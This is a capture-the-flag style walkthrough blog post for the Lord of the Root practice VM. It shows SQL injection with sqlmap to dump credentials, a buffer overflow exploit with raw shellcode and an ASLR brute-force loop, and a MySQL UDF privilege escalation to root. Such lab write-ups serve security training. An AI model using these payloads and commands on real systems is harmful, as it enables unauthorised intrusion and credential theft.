Lord Of The Root Walkthrough

Lord of the Root Vulnhub VM Walkthrough

I started off this box with netdiscover:

netdiscover -r

The VM’s ip is Let’s scan it with nmap:

nmap -sV -Pn -vv -T4 -A -p- –script=auth,brute,discovery,exploit,vuln -oN

Looks like there’s only 1 port open, ssh

SSH info and a vague OS guess

The nmap scan picked up a banner for ssh, lets try and login

“Knock” friend to enter / Easy as 1,2,3
The reference is to port knocking, so lets try 1,2,3 with nmap

Now we need to rescan the host to see what port may be accessible now that we’ve knocked 🙂

We found another port! 1337

More info on the apache server

I ran a vuln scan on the server and got some more detailed info on the OS. Will come in handy later

Browsing to the site over port 1337, I’m greeted with:

Noting interesting in the source code, although we do find another folder with a couple pictures in them “/images/

I tried the typical robots.txt and found some hipster hobbits

We could try any combination after 1337:/”insertanything” and it would result in this picture.
This page does reveal some info in its source

I tried to identify the text as a hash, then realized it was base64 encoded: “THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh”

I then ran that text through base64: Lzk3ODM0NTIxMC9pbmRleC5waHA=

Finally, another foothold in the system 🙂
I browsed to this site to find a login, to Mordor

I attempted to login to the site with basic credentials, and captured the request and selected “Copy to file,” which I called “login”

I then used sqlmap to identify any vulnerabilities

The parameter “username” came back as vulnerable, so we’ll use this to enumerate the mysql database!

Sqlmap the paramater

sqlmap -r login –dbms mysql –dbs –threads=5 –batch

And we got some results, lets check out the mysql database

sqlmap -r login –dbms mysql -D mysql –tables –threads=5 –batch

And then the users table

Sqlmap -r login –dbms mysql -D mysql -T user -C User,Password –dump –threads=5 –batch

And also the webapp database

sqlmap -r login –dbms mysql -D Webapp -T Users -C username,password –dump –threads=5 –batch

After glancing at the u/pws and seeing “R00t” in the pw, I thought I might have a shot with it. I didn’t have much other than ssh to try, so I gave it a shot, and got a user shell on the system!

I wanted to see if there were any other users on the system with cat /etc/passwd, but just looks smeagol

I was looking around the box and landed on the root dir, looks like theres a folder called “SECRET,” seems interesting 🙂

After browsing there, I saw a familiar technique used in Troll2. The files will rotate between each “door” every so often, making RE difficult. The file we’re interested in is the smaller of the three

When I threw a bunch of A’s at the program in door 2, it gave us a seg fault!

To test where the fault is landing, I created a pattern file with ruby:

ruby /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Then ran it through door2/file with gdb:
gdb door2/file

We see our fault is at 0x41376641, lets use a ruby script to determine our offset: 171

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41376641

Now we’ll go back to the appropriate file via gdb, and attempt to find EIP

$(python -c ‘print “A” * 171 + “B” * 4’)

We now have control of EIP! Let’s add some padding (for our shellcode)
$(python -c ‘print “A” * 171 + “B” * 4 + “C” * 500’)

After reviewing the results, we still have EIP, but it appears ESP has moved to a new address

When we check for ASLR, it’s enabled

If we want our payload to execute, we’ll need to attempt a nop sled to brute force the address space…

Let’s add a large nop space, and retest for ESP:

We still have EIP, and ESP has changed again. Let’s use this new address (0xbfc338f0) since it points to the beginning of our nop sled. Once ESP points to somewhere in the nop sled, it will “slide” down to our shell code. Since we want to increase the chances of our nop sled being accessed, we increase the size to 10000. Our current payload:

$(python -c ‘print “A” * 171 + “\xf0\x38\xc3\xbf” + “\x90” * 10000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80″‘ )

This will give us a basic root shell, simple enable for our BOF

We need to basically brute force the program until EIP points to an ESP address in our nop sled, so created a loop:
for a in {1..1000};do ./file $(python -c ‘print “A” * 171 + “\xf0\x38\xc3\xbf” + “\x90” * 10000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80″‘); done

After the file changed on me, I had a couple minutes to brute force the file. Then…I was able to get a root shell!

The flag!

Privilege Escalation Method 2

Here’s a second was to escalate privileges with MySQL

Since we have the mysql root users password. Let’s see if we can escalate privileges to a shell. After some googling, I found an article that describes how to accomplish this:

The only caveat is that the DB must be running as the root user, not mysql (default).
Let’s check the mysql config file for hints: vi /etc/mysql/my.cnf

Looks like mysql is running as user “root,’ exactly what we need for our privesc 🙂

We can also look for the process owner with ps -ef

I copied the code from the link above to a file “raptor_udf2.c” and compiled it with:

There’s an error in the link’s text… Instead of “-W1” it should read “-Wl” (lower case L)

To get the exploit to work, I had to put the following code in /tmp/setuid.c

After compiling the code, I logged into mysql as the root user(root:darkshadow) and completed the commands. “load_file” should be the code we complied. “dumpfile” is the directory for mysql’s plugins (/usr/lib/mysql/plugin/)

select do_system(‘gcc -o /tmp/setuid /tmp/setuid.c’);
select do_system(‘chmod u+s /tmp/setuid’);
\!sh /tmp/setuid

And we have root!

Privilege Escalation Method 3

This privesc is our low hanging fruit example. Typically when I start on a box, I find the kernel version and look for privesc exploits. So let’s do it!
uname -a

I searched “exploit-db linux 3.19.0” in google and found a couple good hits:

If you look at the first two exploits you’ll see in the short description, the first is tested until 3.19.0-18. We have 3.19.0-25, so might not work…
The second entry goes up to 3.19.0-42, so let’s give that a try

And it worked!! Root!

This was one of my favorite VM’s so far! With a couple different privilege escalation techniques, it important not to overlook some valuable lessons. I’m about half way done prepping for my OSCP with these vulnerable VMs and I’ve learned so much already!